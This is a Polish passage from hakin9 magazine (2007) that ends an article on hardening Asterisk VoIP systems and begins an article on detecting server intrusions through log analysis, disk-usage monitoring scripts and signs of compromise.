do podsłuchania ich transmisji. Najlep-
szym rozwiązaniem w takiej sytuacji
byłoby wykorzystanie szyfrowania po-
przez wykorzystanie protokołu SRTP,
jednakże – jak wcześniej wspomniano
– w systemie Asterisk te rozwiązania
muszą zyskać jeszcze na stabilności.
Poprawa
bezpieczeństwa
Wdrażając system Asterisk należy, w
celu zapobieżenia omawianym wcze-
śniej zagrożeniom, powziąć kroki mi-
nimalizujące ryzyko ataków. Zauważ-
my, iż bezpieczeństwo systemu Vo-
IP, na którym zainstalowany jest Aste-
risk, może obejmować wiele zagad-
nień, które są w dużym stopniu wyni-
kiem specyfiki instalacji oraz konfigu-
racji każdego z wariantów wdrożenia
systemu Asterisk.
W sieci LAN dobrym rozwiązaniem
jest użycie statycznych tablic ARP tak,
aby uniemożliwić przeprowadzenie
ataku typu ARP Poisoning. Można tak-
że rozważyć użycie sieci VPN, choć
nie rozwiązuje to problemu ataków z
wewnątrz tejże sieci. Należy separo-
wać ruch głosowy od zwykłych danych
(np. poprzez wykorzystanie wirtual-
nych sieci lokalnych – VLAN), co unie-
możliwi intruzom uzyskanie dostępu
do segmentu głosowego z segmentu
danych. Rozwiązanie to jednak niwe-
czy jedną z największych zalet telefonii
VoIP, jaką niewątpliwie jest możliwość
wykorzystania tej samej infrastruktury
do przesyłania danych i głosu.
Aby zmaksymalizować bezpie-
czeństwo dostępu do centrali, zaleca
się wykorzystanie minimalnej konfigu-
racji (system operacyjny + Asterisk),
dzięki czemu możliwe jest wyelimino-
wanie wielu potencjalnych problemów
bezpieczeństwa. Przykładem prostej
konfiguracji systemu, która w znaczny
sposób potrafi poprawić bezpieczeń-
stwo, jest używanie szyfrowania ha-
seł w plikach. Kolejną dobrą praktyką
w zarządzaniu konfiguracją jest nie-
udostępnianie kont innym użytkow-
nikom (jedynie konta administracyj-
ne), jak również wyłączenie wszel-
kich zbędnych wpisów w plikach kon-
figuracyjnych – w tym standardowej
testowej konfiguracji. Istotne jest rów-
nież odpowiednie zarządzanie plat-
formą Asterisk, które nie powinno od-
bywać się przy użyciu zdalnych na-
rzędzi, niewspierających szyfrowane-
go połączenia (SSL / TLS).
Warto również wspomnieć o wy-
korzystaniu ścian ogniowych (firewal-
li), które dadzą nam możliwość prze-
puszczania tylko wiarygodnych klien-
tów oraz zmiany domyślnych portów.
Należy jednak zauważyć, jak istotnym
problemem przy zabezpieczeniu wy-
korzystywanej przez Asterisk platfor-
my są problemy związane z „przecho-
dzeniem” pakietów przez firewalle oraz
przez mechanizmy translacji adresów
wewnętrznych (np. intranetowych) na
zewnętrzne (np. internetowe), czyli po-
pularnych NAT’ów (ang. Network Ad-
dress Translation). W takiej sieci z po-
wodu wymienionych przeszkód mo-
że dojść do uniemożliwienia nawiąza-
nia połączenia (z powodu blokowania
pakietów zawierających sygnalizację),
bądź porozumiewania się przez strony
żądające komunikacji (ze względu na
blokowanie pakietów RTP).
Przy zabezpieczaniu naszego sys-
temu Asterisk należy również zwrócić
dużą uwagę na jego stabilność – za-
równo sprzętową jak i aplikacyjną. Sta-
bilność hardware’u najprościej osią-
gnąć zawczasu zabezpieczając się w
zapasowe źródła zasilania, technolo-
gię RAID oraz najróżniejsze części za-
mienne. Pozwoli nam to uniknąć pro-
blemów związanych z przerwą zasila-
nia, utratą danych czy niespodziewa-
nymi awariami jakiegoś z podzespo-
łów. Natomiast by zwiększyć stabil-
ność systemu Asterisk pod kątem apli-
kacyjnym, należy pamiętać o kilku za-
sadach. Po pierwsze, zawsze powinno
się używać najnowszej stabilnej wersji
Asteriska. Po drugie, należy wykorzy-
stywać często używane, sprawdzone
a zarazem stabilne systemy operacyj-
ne (takie jak np. Linux). Po trzecie, ko-
nieczne jest dokładne testowanie po-
prawek nanoszonych na oprogramo-
wanie oraz ostrożne podchodzenie do
dodatkowych modułów do Asteriska.
Warto również trzymać stare wersje
oprogramowania, co ułatwi odzyska-
nie stabilności w razie problemów.
Bezpieczeństwo VoIP – luki w systemie Asterisk
Podsumowanie
Analiza oprogramowania centrali IP
PBX – Asterisk wykazała, że jest po-
datna na wiele zagrożeń. Wykorzy-
stanie wskazanych luk prowadzić mo-
że do utraty poufności wykonywanych
przez użytkowników rozmów, w tym
np. ich nagrywania. W najgorszym
przypadku może to zaowocować nad-
użyciem usług transmisji głosu dostar-
czanych przez zewnętrznych dostaw-
ców, a skonfigurowanych na potrzeby
danej instalacji Asteriska.
Podsumowując rozważania na te-
mat poziomu bezpieczeństwa opro-
gramowania Asterisk, należy stwier-
dzić jednoznacznie, iż jest on niewy-
starczający. Każdy rozpatrywany ob-
szar bezpieczeństwa (sygnalizacja,
przesyłanie danych głosowych oraz
środowisko sieciowe) jest potencjalnie
narażony na różnorodne ataki. Co gor-
sza, wiele z nich jest stosunkowo pro-
stych i łatwych do zrealizowania za po-
mocą graficznych, ogólnodostępnych
narzędzi hakerskich. Należy jednak
uczciwie stwierdzić, iż atakom można
również efektywnie zapobiegać wyko-
rzystując powszechnie dostępne dar-
mowe oprogramowanie (jak na przy-
kład OpenVPN czy Stunnel).
Zauważmy, iż wiele ze wskaza-
nych problemów bezpieczeństwa
można rozwiązać dopracowując stan-
dardową konfigurację. Ewolucja Aste-
riska zmierza raczej w kierunku roz-
woju protokołu IAX2. Śmiało moż-
na również oczekiwać, że wraz z po-
jawieniem się nowej wersji protokołu
IAX2 wyposażonej w mechanizm szy-
frowania danych i obecną już łatwość
radzenia sobie z urządzeniami imple-
mentującymi NAT, większość poten-
cjalnych zagrożeń zostanie zminimali-
zowanych. Dziwi jednak niechęć twór-
ców tego oprogramowania do wpro-
wadzania zabezpieczeń dla protoko-
łów zestandaryzowanych, tj. SIP czy
H.323, co mogłoby wydatnie popra-
wić bezpieczeństwo systemu Asterisk
jako bramy zespalającej systemy Vo-
IP bazujące na różnych protokołach
sygnalizacyjnych. W najbliższym cza-
sie nie możemy również spodziewać
się wdrożenia SRTP, które poprawiło-
by bezpieczeństwo przesyłanego gło-
su i danych. Do tego czasu pozosta-
je nam radzić sobie za pomocą wspo-
mnianych w artykule narzędzi, bo na-
wet oczywiste luki w bezpieczeństwie
nie są w stanie zmienić jednoznacz-
nie pozytywnej opinii na temat wa-
lorów użytkowych Asteriska. Należy
również odpowiedzieć na pytanie, ja-
ka jest przyczyna częstego pomijania
kwestii bezpieczeństwa VoIP. Powo-
dów braku dobrych zabezpieczeń w
systemach VoIP można by wymieniać
wiele. Wśród najważniejszych znajdu-
je się chęć minimalizacji dodatkowych
kosztów (brak implementacji mechani-
zmów zabezpieczeń, certyfikatów klu-
cza publicznego itp.), która po części
sprawia, iż telefonia VoIP jest tania,
wpływ mechanizmów zabezpieczeń
na jakość rozmowy i zestawianie po-
łączenia (opóźnienie) oraz niską świa-
domość użytkowników telefonii IP.
Przy każdym wdrożeniu syste-
mu Asterisk należy zatem zastano-
wić się, co będzie dla nas ważniej-
sze – niskie koszty połączeń i wdroże-
nia, czy też w pełni bezpieczny system,
który będziemy mogli zaproponować
użytkownikom. l
O autorach
Autorami są członkowie zespołu Network Security Group (secgroup.pl) na Wydziale Elek-
troniki i Technik Informacyjnych Politechniki Warszawskiej. Kontakt z autorami: tpiotrow-
ski1@gmail.com, s.m.wojcik@gmail.com, wmiko@o2.pl, wmazurcz@elka.pw.edu.pl
R
E
K
L
A
M
A
www.hakin9.org
hakin9 Nr 10/2007
36
Atak
P
rędzej czy później to nastąpi – nie da się
przed tym uciec – padniesz ofiarą wła-
mania. Jedyną Twoją szansą na ratunek
będzie jak najszybsze wykrycie incydentu i prze-
ciwdziałanie dalszym zniszczeniom powodowa-
nym przez intruza. Twoje działania muszą być
w pełni świadome, a przede wszystkim skutecz-
ne. Będziesz musiał przewidzieć i rozpatrzyć
wszystkie możliwe drogi, jakimi podążać mógł
intruz i zniszczyć na nich wszystkie mosty, tak
aby powrót agresora był niemożliwy, a system
odzyskał pełnię zaufania. Przed jakimikolwiek
próbami wyszukiwania intruza musisz świado-
mie określić, czy zostałeś zaatakowany, a atak
ten zakończył się sukcesem i czy intruz uzyskał
dostęp do Twojej maszyny. W dziedzinie detekcji
intruza, sprawą kluczową jest zrozumienie pod-
stawowych przyczyn ataków, pojęcie logiki ludzi
dokonujących tych ataków oraz przeprowadze-
nie wnikliwego rozpoznania wewnątrzsystemo-
wego. Wszystkie z tych elementów są, wbrew
pozorom, ściśle ze sobą powiązane.
Trwający nieustannie wyścig zbrojeń wy-
szukiwania i opracowywania nowych, sku-
tecznych technik przełamywania zabezpie-
czeń komputerowych oraz metod penetracyj-
nych i stałego ulepszania starych sprawia,
że żaden administrator – zarówno ten świe-
żo upieczony, jak i ten z wieloletnim doświad-
czeniem – nie powinien czuć się bezpiecznie.
Ze względu na szybkość wykrywania nowych
podatności nigdy nie wiadomo, kiedy zostanie
naruszona integralność zarządzanego przez
nas systemu, a im bardziej atrakcyjnym ser-
werem i siecią zarządzamy, tym prawdopodo-
bieństwo złamania zabezpieczeń jest większe.
Atak hakera na Twój
komputer
Bartosz Kalinowski
stopień trudności
Nieważne, jak wiele odbyłeś szkoleń specjalistycznych, nieważne,
jak wiele zainwestowałeś czasu i pracy w zabezpieczenie sieci
komputerowej, nieważne, jak wiele kosztowało Cię to wyrzeczeń.
Musisz mieć świadomość, że rzesze specjalistów wyszukują
oraz testują nowe podatności oprogramowania i systemów,
zwiększając prawdopodobieństwo przeprowadzenia skutecznego
ataku na maszyny znajdujące się pod Twoją opieką.
Z artykułu dowiesz się
• jakie charakterystyczne zachowania systemu
świadczą o obecności intruza,
• jakie ślady zostawiają po sobie włamywacze,
• gdzie szukać tych śladów,
• jak wykryć intruza.
Co powinieneś wiedzieć
• powinieneś znać pojęcia dotyczące systemów
uniksowych oraz Sieci,
• powinieneś znać podstawy bezpieczeństwa
systemów uniksowych i sieci komputerowych,
• powinieneś znać obsługę i konfigurację systemu
Linux na poziomie co najmniej podstawowym.
Atak hakera na Twój komputer
hakin9 Nr 10/2007
www.hakin9.org
37
Jest kilka ważnych czynników wpły-
wających na ten stan. Do dwóch
głównych, szczególnie w przypadku
dużych firm, należą:
• konkurencja i jej działania,
• Black Hats (specjaliści bezpie-
czeństwa, działający typowo w
celu wyrządzenia szkód).
Motywacje konkurencji to działania
związane z wywiadem gospodar-
czym, podsłuchem sieci, przejmo-
waniem klientów, kradzieżą techno-
logii, rozwiązań, danych personal-
nych etc. Black Hats ukierunkowani
są na testowanie nowych metod ata-
ku, kradzież danych oraz zasobów
procesora, podsłuch sieciowy, sze-
roko pojęte ataki social engineering,
tworzenie sieci i komputerów zom-
bie, sprawdzenie własnych umiejęt-
ności, etc.
Wbrew pozorom, administrato-
rzy małych ośrodków komputero-
wych (często zbudowanych z jednej
maszyny serwerowej) także nie mo-
gą zakładać, że potencjalny napast-
nik ich nie zaatakuje, wychodząc z
założenia – bo po co? W tym przy-
padku sprawa może mieć się zupeł-
nie inaczej – znakomita większość
ataków pochodzi od niedoświad-
czonych agresorów, określanych
mianem script kiddie i ze względu
na ograniczony zasób wiedzy oraz
strach przed ewentualnymi konse-
kwencjami często wybierają oni na
cel małe sieci lub tzw. serwery wolno
stojące. W tym przypadku maszyna
po włamaniu zazwyczaj jest trakto-
wana jako darmowa przestrzeń dys-
kowa w Sieci do przechowywania pli-
ków lub też bardzo często wykorzy-
stywana do dalszych ataków – na
atrakcyjniejsze serwery. Zrozumie-
nie przyczyn ataków jest kluczową
sprawą w detekcji intruza, a oto kil-
ka powodów:
• pozwala wnioskować o włamaniu,
• pozwala wychwycić w ciągu zda-
rzeń systemowych akcje charak-
terystyczne dla obecności wła-
mywacza,
• pozwala rozpoznać zachowania
systemu i sieci, której bezpie-
czeństwo zostało naruszone,
• wskazuje sposoby wyszukiwania
włamywacza,
• umożliwia określenie poziomu za-
awansowania włamywacza, a co
za tym idzie – skali zniszczeń.
Dlaczego mi to robisz?
Chciałbym żebyś zapamiętał, że
wszelkie metody oraz sposoby de-
tekcji, jak i działania, w każdym przy-
padku są bardzo różne. Należy pod-
chodzić do nich indywidualne i nie po-
padać w rutynę. Wszelkie dalej pre-
zentowane w artykule metody doty-
czą konkretnego przypadku, jednak
w rzeczywistości często występu-
ją w analizie innych i stosowane są
jednocześnie. Dlatego też chciałbym,
abyś nie traktował artykułu jako kom-
pendium wiedzy – to Twoja inteligen-
cja odgrywa największą rolę w detek-
cji i przeciwdziałaniu. Nie bój się eks-
perymentować, szukaj, sprawdzaj, te-
stuj – działaj jak detektyw.
Przypadek I – opis
W tym przypadku mamy do czynienia
ze średnio zaawansowanym użyt-
kownikiem. Uzyskał on dostęp do
systemu typowo z naszej winy – nie
zainstalowaliśmy poprawek oprogra-
mowania, w którym ostatnio odkryto
błąd np. przepełnienia bufora.
Intruz A
Agresor tego typu będzie starał się
zachować dostęp do systemu, ale ze
względu na brak wiedzy jego meto-
dy będą mało wyrafinowane. Bardzo
prawdopodobne, że w ramach wy-
miany będzie rozdawał konta shell.
Ten agresor będzie starał się wyko-
rzystać nowo pozyskany serwer do
łamania haseł i przeprowadzania
dalszych ataków. Być może posiada
on sieć komputerów zombie i po uda-
nych atakach (zarówno tych interne-
towych, jak i tych na hasła) dołączy
system do swojego botnetu. Często
po wykorzystaniu serwera na własne
potrzeby, w celu autopromocji intruz
zmienia stronę główną serwera lub
banery usług typu smtp/ftp.
Przypadek II – opis
W przypadku II mamy do czynienia
z intruzami bardziej zaawansowany-
Z dziejów świata
Istotę walki ujmuje Sun Tzu w The Art
Of War takim oto zdaniem: Cała sztuka
walki bazuje na zwodzeniu przeciwnika.
Sentencja ta dotyczy sztuki wojen-
nej uprawianej tysiące lat temu, a tak-
że sztuki wojennej uprawianej dziś – na
gruncie informatyki. Opisuje ona do-
kładnie działania intruzów, a jednocze-
śnie metody obrony...
Typowy scenariusz włamania
Krok 1. Rozpoznanie zewnętrzne – intruz poddaje atakowaną maszynę serii testów
bezpieczeństwa. Stosuje w tym celu różnorodne narzędzia np. nmap, nessus, trace-
route, whois, dig, telnet etc.
Krok 2. Rozpoznanie szczegółowe – po odkryciu luk agresor poddaje je dokładnym te-
stom. Etap zindywidualizowany ze względu na wykryte podatności.
Krok 3. Atak – włamywacz stosując różnego rodzaju narzędzia przeprowadza atak, co
może skończyć się naruszeniem integralności danych i uzyskaniem dostępu do kon-
ta root atakowanej maszyny.
Krok 4. Zacieranie śladów – intruz stara się ukryć wszelkie metody swojego działa-
nia oraz ślady obecności. Stara się także zapewnić sobie możliwość ponownego, bar-
dziej bezpiecznego zalogowania do systemu i poszerzenia praw do poziomu użytkow-
nika root.
Krok 5. Czerpanie zysków – włamywacz rozpoczyna działania przeciwko naszej ma-
szynie, użytkownikom lub innym komputerom w sieci oraz wykorzystuje serwer w in-
nych celach własnych.
Krok 6. Dowód – po wykorzystaniu maszyny intruz zostawia widoczne ślady dla admi-
nistratora lub innych użytkowników świadczące o przejęciu kontroli nad serwerem.
Najwięcej śladów intruz zostawia w trakcie wykonywania kroków 1,3 i 5. Warto o tym
pamiętać i pod tym kątem poszukiwać tropów.
hakin9 Nr 10/2007
www.hakin9.org
Atak
38
mi – metody stosowane przez nich są
trudniejsze do wykrycia i znacznie bar-
dziej skomplikowane. Dostęp do sys-
temu przez tych użytkowników został
osiągnięty poprzez wykorzystanie nie-
opublikowanych błędów oprogramo-
wania lub za pomocą błędów wyko-
rzystywanych przez exploity 0-day.
Intruz B
Agresor ten został zatrudniony przez
firmę konkurencyjną w celu przepro-
wadzenia działań wywiadowczych
wymierzonych w interesy firmy, której
siecią zarządzamy. Jego priorytetem
będzie uzyskanie jak największej ilo-
ści informacji – aby to osiągnąć, musi
pozostawać niezauważalny dla admi-
nistratora oraz użytkowników. Będzie
unikał wszelkich działań, które mogło-
by destabilizować system oraz powo-
dować opóźnienia w pracy. Ważnym
elementem działań napastnika będzie
zapewnienie sobie dostępu do syste-
mu w późniejszym czasie – prawdopo-
dobnie zastosuje w tym celu zaawan-
sowane narzędzia, być może niedo-
stępne publicznie. Często zdarza się,
że tacy intruzi prócz wykonywania zle-
cenia, korzystając z okazji wykorzy-
stują opanowany system do własnych
celów – przeprowadzenia dalszych
ataków, masowej kradzieży danych,
w celu przeprowadzenia ataków pod-
szywania, przejmowania sesji i phi-
shingu wymierzonych w znaczną ilość
użytkowników Internetu. Są to typowe
działania mające przynieść korzyści,
przeważnie finansowe – dlatego intru-
zowi będzie zależało na jak najdłuż-
szym wykorzystywaniu maszyny.
Inne
Musimy mieć świadomość, że uak-
tualnianie oprogramowania powinno
być wpisane w nasz codzienny plan
dnia. Przede wszystkim ze wzglę-
dów bezpieczeństwa – zmniejsza ry-
zyko włamania, poza tym administra-
tor ma do czynienia z serwerem na
bieżąco – widzi co się dzieje, jak wy-
gląda praca, w jaki sposób wykorzy-
stywane są zasoby systemowe. Jest
to kluczowa sprawa przy późniejszej
awarii (np. włamaniu) – administra-
tor jest już obeznany z swoim syste-
mem i wie, jak on funkcjonuje w wa-
runkach normalnych, a jak po wła-
maniu. Jest w stanie odkryć znacz-
nie więcej śladów pozostawionych
przez intruza i szybciej przywró-
cić sprawność dla systemu. Bardzo
ważną sprawą przy detekcji intru-
Po czym poznać, że dokonano włamania?
• nagły wzrost obciążenia Sieci,
• nagły wzrost zużycia procesora,
• nagłe zmniejszenie ilości wolnej pamięci operacyjnej,
• nagłe zmniejszenie ilości wolnej pamięci dyskowej,
• karty sieciowe ustawione w tryb nasłuchu,
• usunięte lub zmienione pliki protokołowania,
• zmienione/usunięte pliki utmp/wtmp/btmp (dzienniki logowań do systemu),
• nowi użytkownicy w systemie o nazwach zbliżonych do standardowych,
• uruchomione obce procesy lub procesy o nazwach zbliżonych do standardowych,
• wszelkie pliki i katalogi o ukrytych nazwach,
• zmieniony baner usług takich jak smtp/ftp etc.,
• zmieniona strona główna serwera,
• zmodyfikowane pliki wykonywalne typu ls/netstat etc.,
• wszelkie dziwne zachowania systemu i Sieci mogą świadczyć o nie do końca po-
żądanym gościu...
Listing 1.
Skrypt wykorzystany do logowania zajętości dysku
#!/bin/bash
x
=
0
;
until
[
$
x
-
ge
2880
];
do
x
=
$
[
x
+
1
]
echo
--------------[
Zalogowano
:-------
`
date
+%
D
+[%
T
]
`
-----------------
>>
test
-
hdd
.
log
who
-
l
>>
test
-
hdd
.
log
echo
>>
test
-
hdd
.
log
echo
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>>
test
-
hdd
.
log
w
-
h
-
f
>>
test
-
hdd
.
log
echo
>>
test
-
hdd
.
log
echo
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
>>
test
-
hdd
.
log
df
-
h
>>
test
-
hdd
.
log
echo
>>
test
-
hdd
.
log
echo
--------------[
Zalogowano
:-------
`
date
+%
D
+[%
T
]
`
-----------------
>>
test
-
ps
.
log
echo
>>
test
-
ps
.
log
ps
ua
>>
test
-
ps
.
log
echo
>>
test
-
ps
.
log
sleep
30
s
done
Listing 2.
Fragment danych z pliku logów
--------------[
Zalogowano
:-------
07
/
11
/
07
+[
20
:
46
:
00
]-----------------
...
Filesystem
Size
Used
Avail
Use
%
Mounted
on
/
dev
/
hda1
26
G
14
G
11
G
57
%
/
...
--------------[
Zalogowano
:-------
07
/
11
/
07
+[
20
:
53
:
31
]-----------------
...
/
dev
/
hda1
26
G
14
G
11
G
58
%
/
...
--------------[
Zalogowano
:-------
07
/
11
/
07
+[
21
:
02
:
04
]-----------------
...
/
dev
/
hda1
26
G
15
G
9
,8
G
60
%
/
...
--------------[
Zalogowano
:-------
07
/
11
/
07
+[
21
:
05
:
35
]-----------------
...
/
dev
/
hda1
26
G
14
G
11
G
57
%
/
Atak hakera na Twój komputer
hakin9 Nr 10/2007
www.hakin9.org
39
za jest także obserwacja typowych
grup dyskusyjnych dotyczących bez-
pieczeństwa – bugtraq (http://www.
securityfocus.com/archive/1), vulne-
rabilities (http://www.securityfocus.
com/vulnerabilities) etc. Obserwacja
ta pozwala nam poszukiwać charak-
terystycznych zapisów w logach sys-
temowych, które mogą być powodo-
wane próbami wykorzystania świe-
żo odkrytych podatności – gdy intruz
ma 6 godzin na działanie, wyrządzi
znacznie mniej szkód niż gdyby miał
tego czasu 60 godzin... Im szybciej
zadziałamy, tym lepiej.
Przypadek I
– działania operacyjne
Przypadek pierwszy opisujący dzia-
łania operacyjne.
Intruz A
Użytkując system w sposób całkowi-
cie normalny, przy stałym ruchu sieci,
zauważamy pewne anomalie – sys-
tem momentami przestaje odpowia-
dać, po czym bardzo wolno pracuje
– wskazuje zajętość pamięci swap po-
mimo wystarczająco dużej ilości pa-
mięci RAM. W czym leży problem...?
Prawdopodobnie w intensywnej pra-
cy dysków twardych. Przed przystą-
pieniem do poszukiwań śladów nale-
ży koniecznie wyłączyć wszelkie usłu-
gi sieciowe. Najlepiej uczynić to wyci-
nając cały ruch zewnętrzny, przycho-
dzący – stosując np. iptables. Zatem
do dzieła. Po pierwsze sprawdzamy,
Listing 3.
Ważne dane z pliku messages oraz syslog
[
root
@
proxima
:
/
var
/
log
]
# cat syslog|grep sshd|grep error
Jul
11
00
:
47
:
13
proxima
sshd
[
9758
]:
error
:
Could
not
get
shadow
information
for
NOUSER
Jul
11
00
:
47
:
42
proxima
sshd
[
11266
]:
error
:
Could
not
get
shadow
information
for
NOUSER
[
root
@
proxima
:
/
var
/
log
]
# cat messages|grep in.identd|grep ERROR
Jul
11
00
:
47
:
00
proxima
in
.
identd
[
7981
]:
reply
to
201.98
.
XX
.
XX
:
0
,
0
:
ERROR
:
INVALID
-
PORT
Jul
11
00
:
47
:
05
proxima
in
.
identd
[
7981
]:
reply
to
201.98
.
XX
.
XX
:
0
,
0
:
ERROR
:
UNKNOWN
-
ERROR
Jul
11
00
:
47
:
07
proxima
in
.
identd
[
7981
]:
reply
to
201.98
.
XX
.
XX
:
8118
,
51236
:
USERID
:
OTHER
:
100
Jul
11
00
:
47
:
07
proxima
in
.
identd
[
7981
]:
reply
to
201.98
.
XX
.
XX
:
6000
,
47236
:
USERID
:
OTHER
:
0
Jul
11
00
:
47
:
10
proxima
in
.
identd
[
7981
]:
reply
to
201.98
.
XX
.
XX
:
22
,
33395
:
ERROR
:
UNKNOWN
-
ERROR
[
root
@
proxima
:
/
var
/
log
]
#
cat
messages
|
grep
sshd
|
grep
Jul
|
grep
00
:
47
Jul
11
00
:
47
:
13
proxima
sshd
[
9758
]:
Invalid
user
n3ssus
from
201.98
.
XX
.
XX
Jul
11
00
:
47
:
13
proxima
sshd
[
9758
]:
Failed
none
for
invalid
user
n3ssus
from
201.98
.
XX
.
XX
port
34171
ssh2
Jul
11
00
:
47
:
13
proxima
sshd
[
9758
]:
Failed
password
for
invalid
user
n3ssus
from
201.98
.
XX
.
XX
port
34171
ssh2
Jul
11
00
:
47
:
42
proxima
sshd
[
11264
]:
Failed
password
for
root
from
201.98
.
XX
.
XX
port
36275
ssh2
Jul
11
00
:
47
:
42
proxima
sshd
[
11273
]:
Failed
password
for
bin
from
201.98
.
XX
.
XX
port
36283
ssh2
Jul
11
00
:
47
:
43
proxima
sshd
[
11292
]:
Protocol
major
versions
differ
for
201.98
.
XX
.
XX
:
SSH
-
1.99
-
OpenSSH_4
.6
vs
.
SSH
-
9.9
-
NessusSSH_1
.0
Jul
11
00
:
47
:
43
proxima
sshd
[
11287
]:
Invalid
user
guest
from
201.98
.
XX
.
XX
Rysunek 1.
Okno raportu programu nessus
Niejedna droga prowadzi do...
Musisz zrozumieć, że zarówno atak, jak i późniejsze działania intruza w systemie za
każdym razem wyglądają zupełnie inaczej. Nawet jedna osoba nie przeprowadza
dwóch ataków w sposób identyczny – związane jest to z wieloma czynnikami, od ta-
kiego najbardziej ludzkiego – pamięci, do typowo technicznych przyczyn związanych z
zanikami prądu, różnymi sposobami działania sieci, niepowtarzalną pracą komputera
zarówno intruza, jak i obiektu ataku oraz szeregiem innych powodów. Dlatego też nie
istnieje jeden przepis na wykrywanie intruza – jedynie pewne sposoby i ścieżki który-
mi będziesz musiał podążać, by rozwijać swą wiedzę.
hakin9 Nr 10/2007
www.hakin9.org
Atak
40
co powoduje takie wahania pracy pro-
cesora, pamięci i dysku – z doświad-
czenia wiem, że podobne efekty daje
zapis dużych plików na dysku. Warto
zatem sprawdzić, czy nikt nie zapisu-
je czegoś ponad normę na dysku. Być
może są jakieś specjalne, wyrafino-
wane sposoby – my zastosujemy na-
tomiast metodę bardzo prostą: napi-
szemy króciutki program, który będzie
logował wyniki poleceń df, w* oraz ps
co 30 sekund przez 24 godziny, acz-
kolwiek często około godzina pracy
wystarcza aby dostrzec dziwną pra-
cę dysków.
Po uruchomieniu skryptu i analizie
danych zwróconych nam przez system
jesteśmy w stanie zauważyć, iż – nie li-
cząc zmian spowodowanych przez le-
galnych użytkowników – między go-
dziną 20:46 a 21:06 na dysku pojawi-
ło nam się nagle około 1GB danych po
czym równie nagle znikło. Jest to bar-
dzo typowe zachowanie – włamywacz
prawdopodobnie umieścił na dysku
dane wykorzystywane do innych ata-
ków lub pochodzące z ataku, a w celu
podniesienia swojego bezpieczeństwa
wykorzystał nasz komputer jako po-
średnika – być może planuje całkowite
usunięcie danych z naszego dysku ja-
ko skuteczną metodę ochrony?
Dlaczego to działanie zwróci-
ło moją uwagę? Z prostej przyczy-
ny, komputer działa tylko i wyłącz-
nie jako serwer http, a standardo-
wy ruch na dysku zazwyczaj oscy-
lował w granicach 200MB/godzinę
po założeniu konta dla nowego użyt-
kownika, w innych wypadkach oko-
ło 40MB/godzinę. Mając pewność,
że ktoś korzysta z naszego syste-
mu, warto sprawdzić, czy nie zosta-
ły zmodyfikowane ważniejsze pliki
konfiguracyjne (zakładam, że czytel-
nik wykonuje kopie zapasowe waż-
nych danych i plików). Chciałbym za-
uważyć w tym miejscu, że w dalszej
części artykułu nie zakładam, że ja-
kiekolwiek przydatne informacje bez-
pośrednio wskazujące na obecność
intruza (zalogowanie do systemu na
konto root, zalogowanie do syste-
mu na konto nowego użytkownika z
prawami roota) pozostały w plikach
systemowych typu utmp/wtmp/btmp/
lastlog, gdyż w każdym artykule un-
dergroundowym poruszane są tema-
ty dotyczące czyszczenia tych pli-
ków. Jedynie fakt, iż zostały one mo-
dyfikowane, może potwierdzać obec-
ność niepożądanych osób w naszym
systemie, ale dotyczy to tylko intru-
zów z małym zasobem wiedzy, gdyż
osoby zaawansowane są w stanie
tak ukryć swoją obecność, aby nikt
nie podejrzewał włamania. Pomimo
to często zdarza się, że intruz zna-
komicie ukrył swoją obecność w sys-
temie, lecz zostawił także dużą ilość
śladów pochodzących z okresu bez-
pośrednio poprzedzającego atak
(krok 1 działań napastnika). Z te-
go powodu poddajemy analizie pliki
/var/log/messages i syslog.
Po analizie plików dziennika syste-
mowego mamy już pewność, że dnia
11 lipca od godziny około 00:30 intruz
rozpoczął atak polegający na rozpo-
znaniu naszego systemu. W tym celu
wykorzystał oprogramowanie nessus
z serwerem znajdującym się na kom-
puterze o adresie IP 201.98.XX.XX.
Wychodząc z założenia, że należy
wiedzieć jak najwięcej o ataku, pro-
ponuję wykonanie testu za pomocą
tego samego oprogramowania z któ-
rego korzystał intruz (nessus dostęp-
ny na stronie nessus.org) – da nam to
obraz systemu, z jakim zapoznał się
włamywacz przed włamaniem i w je-
go początkowej fazie. Być może wpły-
nęło to w jakiś sposób na jego decyzje
i działania. Ważnym także śladem jest
adres IP równy 201.98.XX.XX – być
może jest to adres komputera, z któ-
rego nastąpił atak. Warto go zacho-
Listing 4.
Wyniki poleceń last*
[
root
@
proxima
:
/
home
/
art
]
# lastlog
Username
Port
From
Latest
root
tty1
czw
lip
5
22
:
30
:
56
+
0200
2007
bin
**
Never
logged
in
**
....
nobody
**
Never
logged
in
**
art
tty1
ś
ro
czer
6
12
:
04
:
39
+
0200
2007
[
root
@
proxima
:
/
home
/
octiv
]
# last|grep art|wc -l
36
[
root
@
proxima
:
/
home
/
art
]
# last
...
wtmp
begins
Thu
Jan
18
14
:
48
:
15
2007
Ukryte nazwy
Często stosowaną metodą ukrywania
katalogów jest nadawanie im ukrytych
nazw, oto typowe przykłady:
(we wszystkich katalogach / ):
• ”. ”
• ” .”
• ” ”
• ”.. ”
• ” ..”
• ”...”
• ”... ”
• ” ...”
Typowymi miejscami ukrywania folde-
rów są katalogi:
• /dev
• /etc
• /usr/local/etc
• /boot
• /lib
• /tmp
Krok po kroku
• analiza plików dziennika,
• analiza użytkowników i grup,
• analiza niepoprawnej przynależno-
ści grupowej,
• analiza praw dostępu do plików,
• analiza najważniejszych plików
systemowych,
• analiza procesów systemowych,
• analiza usług uruchamianych przez
cron i at,
• poszukiwanie i analiza plików z bi-
tem suid/sgid,
• analiza konfiguracji sieci i ruchu
sieciowego,
• analiza usług sieciowych,
• poszukiwanie ukrytych plików i ka-
talogów,
• analiza polityki bezpieczeństwa
firewalla.
Atak hakera na Twój komputer
hakin9 Nr 10/2007
www.hakin9.org
41
wać, gdyż może znacznie pomóc w
poszukiwaniu innych śladów – mamy
pewien punkt odniesienia.
Następnym krokiem będzie ana-
liza konfiguracji serwera. Wykonując
serie porównań (oczywiście można
tę czynność zautomatyzować skryp-
tami konsolowymi, do czego zachę-
cam) odkryłem modyfikację pliku sha-
dow. Spowodowane to może być fak-
tem zmiany hasła przez użytkownika
lub zmianą hasła wykonaną przez in-
truza w celu posiadania legalnego do-
stępu do serwera. Mając nowy obiekt
zainteresowania, należy zbadać, czy
ktoś logował się w ostatnim czasie
na dane konto w celu zmiany hasła,
oraz jak często logował się do tej po-
ry i na podstawie tych danych osza-
cować prawdopodobieństwo zmiany
hasła przez intruza. W tym celu przy-
glądamy się wynikom polecenia
last
i
lastlog
– w okresie ponad pół roku
użytkownik logował się 36 razy, z cze-
